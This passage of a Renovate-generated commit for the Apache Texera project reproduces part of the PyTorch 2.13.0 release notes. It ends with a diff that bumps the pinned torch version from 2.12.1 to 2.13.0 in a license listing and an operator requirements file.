    ([#&#8203;180543](https://redirect.github.com/pytorch/pytorch/issues/180543))
    
    - Add an `overlap_pp_comm` flag to pipeline schedules (default `True`)
    that, when set to `False`, defers each pipeline RECV op to immediately
    before the compute op that consumes it, using rank-parity P2P ordering
    to avoid deadlock (helps platforms such as AMD ROCm where a pending RECV
    blocks unrelated compute)
    ([#&#8203;178815](https://redirect.github.com/pytorch/pytorch/issues/178815))
    
    #### DTensor
    
    - Migrate embedding and random ops to single-dim sharding strategies and
    increase op coverage
    ([#&#8203;180281](https://redirect.github.com/pytorch/pytorch/issues/180281),
    [#&#8203;180503](https://redirect.github.com/pytorch/pytorch/issues/180503))
    - Add auto-infrastructure that derives single-dim sharding strategies
    for autogenerated op variants (`.out`, inplace, functional, and
    `foreach`), expanding strategy coverage to hundreds of additional ops
    ([#&#8203;185386](https://redirect.github.com/pytorch/pytorch/issues/185386))
    - Register sharding strategies for additional ops: `scatter`,
    upsample/interpolation backward, anti-aliased upsample, batch norm
    backward, and `aten.detach_.default`
    ([#&#8203;186149](https://redirect.github.com/pytorch/pytorch/issues/186149),
    [#&#8203;180311](https://redirect.github.com/pytorch/pytorch/issues/180311),
    [#&#8203;184626](https://redirect.github.com/pytorch/pytorch/issues/184626),
    [#&#8203;182743](https://redirect.github.com/pytorch/pytorch/issues/182743),
    [#&#8203;181876](https://redirect.github.com/pytorch/pytorch/issues/181876))
    
    #### Distributed FSDP2
    
    - Support forward-mode automatic differentiation (`torch.func.jvp`) on
    models wrapped with `fully_shard` or `replicate`, including with mixed
    precision
    ([#&#8203;182732](https://redirect.github.com/pytorch/pytorch/issues/182732))
    
    #### Linear Algebra Frontend
    
    - Add `Half` and `BFloat16` dispatch support for `torch.trace` on CPU
    ([#&#8203;184874](https://redirect.github.com/pytorch/pytorch/issues/184874))
    - Improve heuristics for the cuSOLVER vs cuBLAS backend switch in
    `torch.linalg.lu`
    ([#&#8203;185344](https://redirect.github.com/pytorch/pytorch/issues/185344))
    
    #### Profiler
    
    - The memory viz tool now more accurately represents GPU footprint when
    impacted by fragmentation
    ([#&#8203;180515](https://redirect.github.com/pytorch/pytorch/issues/180515))
    - The memory viz tool now aggregates stripes per-pool to improve
    visualization for large snapshots
    ([#&#8203;180613](https://redirect.github.com/pytorch/pytorch/issues/180613))
    - Profiler now also exposes CUDA occupancy metadata as a nested
    dictionary in the `.events()` output
    ([#&#8203;180275](https://redirect.github.com/pytorch/pytorch/issues/180275))
    
    #### FX
    
    - `split_module` now supports `torch.Size` crossing graph split
    boundaries by decomposing `size()` calls into per-dimension `sym_size`
    nodes, and builds submodules lazily for faster inference graph splitting
    ([#&#8203;179839](https://redirect.github.com/pytorch/pytorch/issues/179839))
    
    - `CapabilityBasedPartitioner` can now opt out of horizontal fusion via
    `skip_horizontal_fusion=True`, partitioning only through direct data
    dependencies
    ([#&#8203;184904](https://redirect.github.com/pytorch/pytorch/issues/184904))
    
    - Enable rewriting of FX traces containing complex tensors during
    compilation
    ([#&#8203;169832](https://redirect.github.com/pytorch/pytorch/issues/169832))
    
    #### Dynamo
    
    - Implement additional Python operators in Dynamo: bitwise and
    ([#&#8203;184788](https://redirect.github.com/pytorch/pytorch/issues/184788)),
    bitwise xor
    ([#&#8203;184789](https://redirect.github.com/pytorch/pytorch/issues/184789)),
    left/right shift
    ([#&#8203;183462](https://redirect.github.com/pytorch/pytorch/issues/183462)),
    floor division
    ([#&#8203;185652](https://redirect.github.com/pytorch/pytorch/issues/185652)),
    true division
    ([#&#8203;185653](https://redirect.github.com/pytorch/pytorch/issues/185653)),
    remainder
    ([#&#8203;185654](https://redirect.github.com/pytorch/pytorch/issues/185654)),
    and `divmod`
    ([#&#8203;185655](https://redirect.github.com/pytorch/pytorch/issues/185655))
    - Support tracing more constructs in Dynamo: `einops` 0.8.2
    ([#&#8203;185619](https://redirect.github.com/pytorch/pytorch/issues/185619)),
    `record_function` as a decorator
    ([#&#8203;184703](https://redirect.github.com/pytorch/pytorch/issues/184703)),
    `inference_mode` retracing helpers
    ([#&#8203;185066](https://redirect.github.com/pytorch/pytorch/issues/185066)),
    `mark_dirty` in the autograd Function HOP
    ([#&#8203;184267](https://redirect.github.com/pytorch/pytorch/issues/184267)),
    `warn_only` deterministic toggles
    ([#&#8203;180373](https://redirect.github.com/pytorch/pytorch/issues/180373)),
    and the `_maybe_view_chunk_cat` functional collective
    ([#&#8203;180389](https://redirect.github.com/pytorch/pytorch/issues/180389))
    - Support item assignment and deletion (`__setitem__`/`__delitem__`) on
    more container types in Dynamo via `sq_ass_item`/`mp_ass_subscript`
    slots
    ([#&#8203;182862](https://redirect.github.com/pytorch/pytorch/issues/182862),
    [#&#8203;182996](https://redirect.github.com/pytorch/pytorch/issues/182996))
    - Support `torch.accelerator.device_index` and `torch.xpu.device` in the
    device context manager
    ([#&#8203;181846](https://redirect.github.com/pytorch/pytorch/issues/181846),
    [#&#8203;181847](https://redirect.github.com/pytorch/pytorch/issues/181847))
    - Improve Triton support under `torch.compile`: accept `tl.constexpr`
    values as kernel arguments
    ([#&#8203;181783](https://redirect.github.com/pytorch/pytorch/issues/181783))
    and handle `capture_triton` as a no-op during tracing
    ([#&#8203;183555](https://redirect.github.com/pytorch/pytorch/issues/183555))
    - Improve dynamic shape specification: reduce verbosity in shape specs
    for the common case
    ([#&#8203;184271](https://redirect.github.com/pytorch/pytorch/issues/184271)),
    add `SeqSpec` for list/tuple specs with better walk-spec errors
    ([#&#8203;185327](https://redirect.github.com/pytorch/pytorch/issues/185327)),
    add `ObjectSpec`
    ([#&#8203;182764](https://redirect.github.com/pytorch/pytorch/issues/182764)),
    pipe dynamic spec through `torch.compile`
    ([#&#8203;184501](https://redirect.github.com/pytorch/pytorch/issues/184501)),
    and revisit guarding in `mark_dynamic` APIs
    ([#&#8203;181469](https://redirect.github.com/pytorch/pytorch/issues/181469))
    - Improve `torch.compile` device mismatch errors with a dedicated
    `FakeTensorDeviceMismatchError` and actionable guidance to place inputs,
    parameters, and buffers on the same device
    ([#&#8203;185412](https://redirect.github.com/pytorch/pytorch/issues/185412))
    - Improve error messages and diagnostics: clearer data-dependent errors
    for `.any()`/`.all()`
    ([#&#8203;180406](https://redirect.github.com/pytorch/pytorch/issues/180406)),
    clearer `torch._check` tensor predicate errors
    ([#&#8203;185777](https://redirect.github.com/pytorch/pytorch/issues/185777)),
    user-friendly reasons for skipped frames
    ([#&#8203;183596](https://redirect.github.com/pytorch/pytorch/issues/183596)),
    carets in stack traces
    ([#&#8203;182393](https://redirect.github.com/pytorch/pytorch/issues/182393)),
    and reporting why a symbol was created dynamically in `symbolic_shapes`
    logs
    ([#&#8203;168331](https://redirect.github.com/pytorch/pytorch/issues/168331))
    - Make Dynamo exceptions pickleable
    ([#&#8203;185725](https://redirect.github.com/pytorch/pytorch/issues/185725))
    - Inline decomposed quantization helpers in Dynamo
    ([#&#8203;185628](https://redirect.github.com/pytorch/pytorch/issues/185628))
    - Make Dynamo debug/repro utilities device-agnostic
    ([#&#8203;184851](https://redirect.github.com/pytorch/pytorch/issues/184851))
    
    #### Inductor
    
    - Support `pin_memory` for `torch.ones`, `torch.zeros` and `torch.full`
    ([#&#8203;174595](https://redirect.github.com/pytorch/pytorch/issues/174595))
    - Add a ROCm config flag to disable the `pointer_range_32` optimization
    ([#&#8203;179604](https://redirect.github.com/pytorch/pytorch/issues/179604))
    - Add a peak memory threshold config for combo kernels
    ([#&#8203;180578](https://redirect.github.com/pytorch/pytorch/issues/180578))
    - Enable autotuning and a fast compensation path for CPU static/dynamic
    smooth-quant qlinear, with correct handling of 0D `x_scale`/`x_zp` and
    `ReinterpretView` strides
    ([#&#8203;181090](https://redirect.github.com/pytorch/pytorch/issues/181090))
    - Add `aot_inductor.autotune_per_kernel_alloc` config to
    allocate-run-delete tensors per kernel during AOTI autotuning, avoiding
    OOM on large models
    ([#&#8203;181176](https://redirect.github.com/pytorch/pytorch/issues/181176))
    - Bound `AsyncCompile` future waits with the
    `compile_worker_wait_timeout` setting
    ([#&#8203;181293](https://redirect.github.com/pytorch/pytorch/issues/181293))
    - Add `a100_default_flex_config` entries for `head_dim=192`
    ([#&#8203;181835](https://redirect.github.com/pytorch/pytorch/issues/181835))
    - Add an explicit lowering (fallback) for `aten.multinomial` to avoid
    graph breaks
    ([#&#8203;182423](https://redirect.github.com/pytorch/pytorch/issues/182423))
    - Add an Inductor lowering for `_scaled_mm_v2`
    ([#&#8203;182527](https://redirect.github.com/pytorch/pytorch/issues/182527))
    - Enable `combo_kernel_autotune_grouping` by default
    ([#&#8203;182567](https://redirect.github.com/pytorch/pytorch/issues/182567))
    - Add `cudagraph_partition_memory_budget` config for partition
    reordering
    ([#&#8203;183569](https://redirect.github.com/pytorch/pytorch/issues/183569))
    - Add ATen fallbacks for `bincount`, `unique` variants, and AMP scale
    ops so they compile without graph breaks
    ([#&#8203;183590](https://redirect.github.com/pytorch/pytorch/issues/183590))
    - Unfuse the bias add from `addmm` when the bias is a narrowing dtype
    cast (fp32->bf16/fp16) to preserve bias precision in XPU AMP training
    ([#&#8203;183680](https://redirect.github.com/pytorch/pytorch/issues/183680))
    - Emit a clearer diagnostic when a backward CUDAGraph output installed
    as a `.grad` buffer is invalidated on a later run (gradient
    accumulation)
    ([#&#8203;184003](https://redirect.github.com/pytorch/pytorch/issues/184003))
    - Support split online softmax reductions in Inductor
    ([#&#8203;184069](https://redirect.github.com/pytorch/pytorch/issues/184069))
    - Support fusing `index_add`-style atomic scatter mutations into Triton
    template epilogues behind a config flag
    ([#&#8203;184179](https://redirect.github.com/pytorch/pytorch/issues/184179))
    - Add a `cpp.march` Inductor config knob so AOTInductor cpp-only builds
    can override or suppress the default CPU architecture flag
    ([#&#8203;184297](https://redirect.github.com/pytorch/pytorch/issues/184297))
    - Improve the Triton cache directory guidance when loading shared
    objects from a noexec filesystem fails
    ([#&#8203;184362](https://redirect.github.com/pytorch/pytorch/issues/184362))
    - Enable the Bert SDPA pattern rewrite on CUDA while keeping the
    original matmul/softmax math path
    ([#&#8203;184417](https://redirect.github.com/pytorch/pytorch/issues/184417))
    - Improve the Triton launcher argument-mismatch error with a clearer
    message and a cached preflight check
    ([#&#8203;184522](https://redirect.github.com/pytorch/pytorch/issues/184522))
    - Add broader CuteDSL op overrides (`rsqrt`, `exp2`, `log2`, `log10`,
    `tan`, `acos`, `asin`, `atan`, `atan2`, `floor`, `logical_xor`)
    ([#&#8203;184538](https://redirect.github.com/pytorch/pytorch/issues/184538))
    - Add an optional `fake_mode` argument to `standalone_compile` (with
    `dynamic_shapes="from_example_inputs"`) so it can reuse the caller's
    `FakeTensorMode`/`ShapeEnv` instead of always creating a fresh one
    ([#&#8203;184776](https://redirect.github.com/pytorch/pytorch/issues/184776))
    - Support `signbit` on unsigned integer dtypes
    ([#&#8203;185985](https://redirect.github.com/pytorch/pytorch/issues/185985))
    - Add a `keep_static_cubin_raw` config to retain cubin bytes in cached
    kernels so caches restored on another machine avoid recompilation
    ([#&#8203;186404](https://redirect.github.com/pytorch/pytorch/issues/186404))
    - Extend `BatchLinearLHSFusion`'s matcher to also match the inlined
    `torch._C._nn.linear` form so the (opt-in) fusion can fire on
    Dynamo-inlined linear
    ([#&#8203;186632](https://redirect.github.com/pytorch/pytorch/issues/186632))
    - Add a clearer error message with install instructions when a
    compatible Flash Attention package is unavailable for flex attention
    ([#&#8203;186827](https://redirect.github.com/pytorch/pytorch/issues/186827))
    - Add another anchor node to the batch-linear fusion pass so more small
    `torch._C._nn.linear` operations are grouped into a single batched
    kernel
    ([#&#8203;180477](https://redirect.github.com/pytorch/pytorch/issues/180477))
    - Extend the batch fusion pass to support `detach()` method calls
    ([#&#8203;180513](https://redirect.github.com/pytorch/pytorch/issues/180513))
    - Add a deterministic backward for the FlexAttention flash kernel
    ([#&#8203;174813](https://redirect.github.com/pytorch/pytorch/issues/174813))
    - Use rand4x for Inductor Triton random number generation
    ([#&#8203;184377](https://redirect.github.com/pytorch/pytorch/issues/184377))
    - Add a Quack-based CuTeDSL RMSNorm kernel
    ([#&#8203;182108](https://redirect.github.com/pytorch/pytorch/issues/182108))
    
    #### Ahead-Of-Time Inductor (AOTI)
    
    - Use fatbinary for multi-arch CUDA kernels
    ([#&#8203;184456](https://redirect.github.com/pytorch/pytorch/issues/184456))
    - Support mixed-device constants in `update_constant_buffer`
    ([#&#8203;181114](https://redirect.github.com/pytorch/pytorch/issues/181114))
    - Add FP8 header files in the AOTI `shim.h`
    ([#&#8203;178120](https://redirect.github.com/pytorch/pytorch/issues/178120))
    - Add throttled `cudaMemcpy` for AOTI constant loading to reduce peak
    memory usage
    ([#&#8203;184823](https://redirect.github.com/pytorch/pytorch/issues/184823))
    - Preserve AOTI `proxy_executor` error messages
    ([#&#8203;180884](https://redirect.github.com/pytorch/pytorch/issues/180884))
    - Enable Triton kernels in AOTI C++ wrapper on CPU
    ([#&#8203;181068](https://redirect.github.com/pytorch/pytorch/issues/181068))
    - Skip CPU vec ISA setup for device-only `cpp_wrapper`
    ([#&#8203;182089](https://redirect.github.com/pytorch/pytorch/issues/182089))
    - Expose torchbind constants from `AOTIModelPackageLoader`
    ([#&#8203;182149](https://redirect.github.com/pytorch/pytorch/issues/182149))
    - Improve AOTI error for Python custom ops
    ([#&#8203;186305](https://redirect.github.com/pytorch/pytorch/issues/186305))
    
    #### Export
    
    - Support serialization of opaque type constants in `torch.export`
    save/load
    ([#&#8203;181676](https://redirect.github.com/pytorch/pytorch/issues/181676))
    - Make functorch JVP operator `torch.export`-able
    ([#&#8203;179686](https://redirect.github.com/pytorch/pytorch/issues/179686))
    - Add `UpdateConstantBufferFromCpu` for host-to-device copy
    ([#&#8203;181637](https://redirect.github.com/pytorch/pytorch/issues/181637))
    
    #### AOTAutograd
    
    - Support CPU activation offloading in the rematerialization pass,
    including marking recomputed nodes for backward and adding a resize-to-0
    deallocation op so offloaded tensors are freed after their
    host-to-device copy
    ([#&#8203;181937](https://redirect.github.com/pytorch/pytorch/issues/181937),
    [#&#8203;181938](https://redirect.github.com/pytorch/pytorch/issues/181938))
    - Use FX node names in `merge_view_inputs` error messages, so
    non-differentiable view input mutation errors identify the specific
    offending inputs
    ([#&#8203;180424](https://redirect.github.com/pytorch/pytorch/issues/180424))
    
    #### Composability
    
    - Add fake tensor support for `_transformer_encoder_layer_fwd` so it
    traces under `torch.compile`
    ([#&#8203;183916](https://redirect.github.com/pytorch/pytorch/issues/183916))
    - Enable Armv9-A target support for `torch.compile` on AArch64
    ([#&#8203;184555](https://redirect.github.com/pytorch/pytorch/issues/184555))
    - Functionalize in-place `c10d` collectives in standalone compile
    ([#&#8203;181836](https://redirect.github.com/pytorch/pytorch/issues/181836))
    
    #### Foreach
    
    - Fix/add empty check for `_foreach_max`
    ([#&#8203;173483](https://redirect.github.com/pytorch/pytorch/issues/173483))
    
    #### ONNX
    
    - Add `adaptive_max_pool2d` and `adaptive_max_pool3d` decompositions for
    ONNX export
    ([#&#8203;184396](https://redirect.github.com/pytorch/pytorch/issues/184396))
    
    #### C++ Frontend
    
    - Add stable ABI for `set_python_module` on `torch::Library`
    ([#&#8203;182720](https://redirect.github.com/pytorch/pytorch/issues/182720))
    - Add `==` overloads for `HeaderOnlyArrayRef`
    ([#&#8203;185379](https://redirect.github.com/pytorch/pytorch/issues/185379))
    - Add `torch::stable::Generator`
    ([#&#8203;186423](https://redirect.github.com/pytorch/pytorch/issues/186423))
    - Add `c10::layout` typecaster for `torch.layout`
    ([#&#8203;179607](https://redirect.github.com/pytorch/pytorch/issues/179607))
    - Add default-args support to `def_static`
    ([#&#8203;175644](https://redirect.github.com/pytorch/pytorch/issues/175644))
    - Add support for controlling scientific notation in C++-side tensor
    printing
    ([#&#8203;173321](https://redirect.github.com/pytorch/pytorch/issues/173321))
    
    #### Release Engineering
    
    - Move the NCCL pin to 2.30
    ([#&#8203;181313](https://redirect.github.com/pytorch/pytorch/issues/181313))
    - Advance the Triton pin to 3.7.1
    ([#&#8203;181001](https://redirect.github.com/pytorch/pytorch/issues/181001),
    [#&#8203;186792](https://redirect.github.com/pytorch/pytorch/issues/186792))
    - Upgrade the XPU support package to 2026.0
    ([#&#8203;182003](https://redirect.github.com/pytorch/pytorch/issues/182003))
    - Add a configurable threshold to avoid power-of-two rounding for large
    pinned memory allocations
    ([#&#8203;171662](https://redirect.github.com/pytorch/pytorch/issues/171662))
    - Move some pre-build steps from `setup.py` to CMake
    ([#&#8203;177641](https://redirect.github.com/pytorch/pytorch/issues/177641))
    
    #### CUDA
    
    - Debugging tool to verify that external inputs to a CUDA graph are
    alive before replay
    ([#&#8203;174649](https://redirect.github.com/pytorch/pytorch/issues/174649))
    - Add get/set/reset functions for BLAS workspace sizes
    ([#&#8203;177912](https://redirect.github.com/pytorch/pytorch/issues/177912))
    - Cleanup double import in `BinaryDivFloorKernel.cu`
    ([#&#8203;179260](https://redirect.github.com/pytorch/pytorch/issues/179260))
    - Return supported CUDA arch list when no GPU is present but GPU is
    compiled
    ([#&#8203;180356](https://redirect.github.com/pytorch/pytorch/issues/180356))
    - Detect and fix stale stream references in autograd during CUDA graph
    capture
    ([#&#8203;180090](https://redirect.github.com/pytorch/pytorch/issues/180090))
    - Use `opmath_t` in `i1` and `i1e` CUDA kernels
    ([#&#8203;183778](https://redirect.github.com/pytorch/pytorch/issues/183778))
    - Support `resize_` with address hint
    ([#&#8203;178215](https://redirect.github.com/pytorch/pytorch/issues/178215))
    - Support `bfloat16` in `_embedding_bag_per_sample_weights_backward` on
    CUDA
    ([#&#8203;185889](https://redirect.github.com/pytorch/pytorch/issues/185889))
    - Align `parsePerProcessMemoryFraction`'s return type with other parsers
    ([#&#8203;185139](https://redirect.github.com/pytorch/pytorch/issues/185139))
    - Improve error message when `cuda-bindings` version is too old
    ([#&#8203;185990](https://redirect.github.com/pytorch/pytorch/issues/185990))
    - Expose `torch.cuda.current_solver_handle` for cuSOLVER handle sharing
    ([#&#8203;176705](https://redirect.github.com/pytorch/pytorch/issues/176705))
    
    #### cuDNN
    
    - Add flag to select depthwise convolution backend
    ([#&#8203;176500](https://redirect.github.com/pytorch/pytorch/issues/176500))
    - Upgrade `cudnn_frontend` submodule to 1.24
    ([#&#8203;185554](https://redirect.github.com/pytorch/pytorch/issues/185554))
    
    #### MPS
    
    - Migrate many ops from MPSGraph to native Metal kernels for `bernoulli`
    ([#&#8203;182210](https://redirect.github.com/pytorch/pytorch/issues/182210)),
    `native_dropout`
    ([#&#8203;182232](https://redirect.github.com/pytorch/pytorch/issues/182232)),
    `uniform`/`normal`/`randint`
    ([#&#8203;182386](https://redirect.github.com/pytorch/pytorch/issues/182386)),
    `randperm`
    ([#&#8203;182528](https://redirect.github.com/pytorch/pytorch/issues/182528)),
    comparison ops `eq`/`ne`/`lt`/`le`/`gt`/`ge`
    ([#&#8203;183019](https://redirect.github.com/pytorch/pytorch/issues/183019)),
    bitwise ops
    ([#&#8203;182839](https://redirect.github.com/pytorch/pytorch/issues/182839)),
    scatter/gather
    ([#&#8203;184028](https://redirect.github.com/pytorch/pytorch/issues/184028)),
    copy-cast
    ([#&#8203;184740](https://redirect.github.com/pytorch/pytorch/issues/184740)),
    `gelu`/`gelu_backward`
    ([#&#8203;181451](https://redirect.github.com/pytorch/pytorch/issues/181451)),
    replication pad
    ([#&#8203;183065](https://redirect.github.com/pytorch/pytorch/issues/183065)),
    embedding backward
    ([#&#8203;185119](https://redirect.github.com/pytorch/pytorch/issues/185119)),
    `trace`
    ([#&#8203;183627](https://redirect.github.com/pytorch/pytorch/issues/183627)),
    `count_nonzero`
    ([#&#8203;180725](https://redirect.github.com/pytorch/pytorch/issues/180725)),
    `amax`/`amin`/`aminmax`/`all`/`any`
    ([#&#8203;180752](https://redirect.github.com/pytorch/pytorch/issues/180752)),
    and `cumsum`/`cumprod`
    ([#&#8203;185609](https://redirect.github.com/pytorch/pytorch/issues/185609)),
    `native_group_norm`
    ([#&#8203;183830](https://redirect.github.com/pytorch/pytorch/issues/183830),
    `native_group_norm_backward`
    [#&#8203;184437](https://redirect.github.com/pytorch/pytorch/issues/184437)),
    `topk` and `kthvalue` Metal kernels
    ([#&#8203;184106](https://redirect.github.com/pytorch/pytorch/issues/184106)),
    single-block and multi-block sort, including a stable sort path
    ([#&#8203;180714](https://redirect.github.com/pytorch/pytorch/issues/180714),
    [#&#8203;182242](https://redirect.github.com/pytorch/pytorch/issues/182242),
    [#&#8203;181736](https://redirect.github.com/pytorch/pytorch/issues/181736))
    - Support integer inputs to `histc`
    ([#&#8203;178624](https://redirect.github.com/pytorch/pytorch/issues/178624))
    - Support `out` variants of unary ops
    ([#&#8203;184743](https://redirect.github.com/pytorch/pytorch/issues/184743))
    - Improvements to SDPA Metal kernels: prefill attention kernels
    ([#&#8203;181575](https://redirect.github.com/pytorch/pytorch/issues/181575)),
    GQA support
    ([#&#8203;183280](https://redirect.github.com/pytorch/pytorch/issues/183280)),
    `is_causal` support
    ([#&#8203;181855](https://redirect.github.com/pytorch/pytorch/issues/181855)),
    head dim 256
    ([#&#8203;181852](https://redirect.github.com/pytorch/pytorch/issues/181852)),
    float mask support
    ([#&#8203;183458](https://redirect.github.com/pytorch/pytorch/issues/183458)),
    and a clearer error for causal + attn mask
    ([#&#8203;181856](https://redirect.github.com/pytorch/pytorch/issues/181856))
    - Add an ILP variant for binary tensor iterators and replace unary VEC4
    with a generic ILP-per-thread dense kernel
    ([#&#8203;182155](https://redirect.github.com/pytorch/pytorch/issues/182155),
    [#&#8203;181509](https://redirect.github.com/pytorch/pytorch/issues/181509),
    [#&#8203;183055](https://redirect.github.com/pytorch/pytorch/issues/183055))
    - Make several Metal kernels stride-aware to avoid unnecessary
    `.contiguous()` calls: `Col2Im`
    ([#&#8203;181949](https://redirect.github.com/pytorch/pytorch/issues/181949)),
    `Im2Col`
    ([#&#8203;182709](https://redirect.github.com/pytorch/pytorch/issues/182709)),
    `Repeat`
    ([#&#8203;182718](https://redirect.github.com/pytorch/pytorch/issues/182718)),
    `LossOps`
    ([#&#8203;182714](https://redirect.github.com/pytorch/pytorch/issues/182714)),
    and `HistogramKernel`
    ([#&#8203;181951](https://redirect.github.com/pytorch/pytorch/issues/181951))
    - Enable `NDHWC`+`DHWIO` fast path for `Conv3d` on `channels_last_3d`
    ([#&#8203;184612](https://redirect.github.com/pytorch/pytorch/issues/184612))
    - Clear the MPSGraph cache in `torch.mps.empty_cache()`
    ([#&#8203;181485](https://redirect.github.com/pytorch/pytorch/issues/181485))
    - Add a private API to get the host alias of Metal storage
    ([#&#8203;180961](https://redirect.github.com/pytorch/pytorch/issues/180961))
    - Add input validation: `stride > 0` in pool ops
    ([#&#8203;184875](https://redirect.github.com/pytorch/pytorch/issues/184875)),
    `F.fold`
    ([#&#8203;182067](https://redirect.github.com/pytorch/pytorch/issues/182067)),
    `im2col`
    ([#&#8203;183593](https://redirect.github.com/pytorch/pytorch/issues/183593)),
    and bernoulli probabilities
    ([#&#8203;185065](https://redirect.github.com/pytorch/pytorch/issues/185065))
    - Alert on non-deterministic algorithms on MPS
    ([#&#8203;185061](https://redirect.github.com/pytorch/pytorch/issues/185061))
    - Raise a clear not-implemented error for `dropout_p`
    ([#&#8203;184126](https://redirect.github.com/pytorch/pytorch/issues/184126))
    - Use proper precise log functions in unary kernels
    ([#&#8203;185381](https://redirect.github.com/pytorch/pytorch/issues/185381))
    
    #### ROCm
    
    - Additional `cub::DeviceHistogram` hipify mappings
    ([#&#8203;180433](https://redirect.github.com/pytorch/pytorch/issues/180433))
    - SDPA improvements via AOTriton 0.12b: `head_dim != head_dim_v`,
    `use_deterministic_algorithms`, `gfx1100` and `gfx1151` promoted out of
    experimental, partial FAv3 support on `gfx950`
    ([#&#8203;184288](https://redirect.github.com/pytorch/pytorch/issues/184288))
    
    #### XPU
    
    - Add `last_level_cache_size` and `is_integrated_gpu` to XPU device
    properties
    ([#&#8203;184499](https://redirect.github.com/pytorch/pytorch/issues/184499),
    [#&#8203;182624](https://redirect.github.com/pytorch/pytorch/issues/182624))
    - Add XPU dispatch for `_fused_adagrad_`
    ([#&#8203;185577](https://redirect.github.com/pytorch/pytorch/issues/185577))
    - Support mixed-type operations between Nested and Dense tensors on XPU
    ([#&#8203;182654](https://redirect.github.com/pytorch/pytorch/issues/182654))
    - Support `torch.xpu.device` in Dynamo device management
    ([#&#8203;181847](https://redirect.github.com/pytorch/pytorch/issues/181847))
    - Recognize additional Intel BMG device IDs on XPU
    ([#&#8203;183414](https://redirect.github.com/pytorch/pytorch/issues/183414))
    - Enable XPU device support for sparse Triton ops
    ([#&#8203;179805](https://redirect.github.com/pytorch/pytorch/issues/179805))
    - Enable the `bmm_outer_product` Triton override on XPU
    ([#&#8203;180441](https://redirect.github.com/pytorch/pytorch/issues/180441))
    - Improve test coverage for the XPU backend
    ([#&#8203;174370](https://redirect.github.com/pytorch/pytorch/issues/174370),
    [#&#8203;180881](https://redirect.github.com/pytorch/pytorch/issues/180881),
    [#&#8203;171154](https://redirect.github.com/pytorch/pytorch/issues/171154))
    - Support non-blocking pinned device-to-host copies on XPU
    ([#&#8203;186224](https://redirect.github.com/pytorch/pytorch/issues/186224))
    - Refactor the XPU oneDNN integration from the C API to the C++ API
    ([#&#8203;184486](https://redirect.github.com/pytorch/pytorch/issues/184486))
    
    #### Functorch
    
    - Add `vmap` batching rule for `torch.unbind_copy`
    ([#&#8203;178035](https://redirect.github.com/pyt
    
    > ✂ **Note**
    >
    > PR body was truncated to here.
    
    
    </details>
    
    ---
    
    ### Configuration
    
    📅 **Schedule**: (in timezone Etc/UTC)
    
    - Branch creation
      - At any time (no schedule defined)
    - Automerge
      - At any time (no schedule defined)
    
    🚦 **Automerge**: Disabled by config. Please merge this manually once you
    are satisfied.
    
    ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
    rebase/retry checkbox.
    
    🔕 **Ignore**: Close this PR and you won't be reminded about these
    updates again.
    
    ---
    
    - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
    this box
    
    ---
    
    This PR was generated by [Mend Renovate](https://mend.io/renovate/).
    View the [repository job
    log](https://developer.mend.io/github/apache/texera).
    
    <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJyZWxlYXNlL3YxLjIiLCJzZWN1cml0eSJdfQ==-->
    
    ---------
    
    Co-authored-by: Xinyuan Lin <xi...@uci.edu>
    Co-authored-by: Claude Fable 5 <no...@anthropic.com>
    Co-authored-by: Yicong Huang <17...@users.noreply.github.com>
---
 amber/LICENSE-binary-python     | 2 +-
 amber/operator-requirements.txt | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/amber/LICENSE-binary-python b/amber/LICENSE-binary-python
index f950686bd3..03dfd037f7 100644
--- a/amber/LICENSE-binary-python
+++ b/amber/LICENSE-binary-python
@@ -318,7 +318,7 @@ Python packages:
   - sympy==1.14.0
   - threadpoolctl==3.6.0
   - tifffile==2026.6.1
-  - torch==2.12.1
+  - torch==2.13.0
   - zstandard==0.25.0
 
 --------------------------------------------------------------------------------
diff --git a/amber/operator-requirements.txt b/amber/operator-requirements.txt
index bf3e0ff96c..d78fe77fe8 100644
--- a/amber/operator-requirements.txt
+++ b/amber/operator-requirements.txt
@@ -22,8 +22,8 @@ pillow==12.3.0
 
 # Pin torch to the CPU wheel on Linux x86_64 to avoid the NVIDIA CUDA deps.
 --extra-index-url https://download.pytorch.org/whl/cpu
-torch==2.12.1+cpu ; platform_system == "Linux" and platform_machine == "x86_64"
-torch==2.12.1 ; platform_system != "Linux" or platform_machine != "x86_64"
+torch==2.13.0+cpu ; platform_system == "Linux" and platform_machine == "x86_64"
+torch==2.13.0 ; platform_system != "Linux" or platform_machine != "x86_64"
 
 scikit-learn==1.7.2
 transformers==5.5.0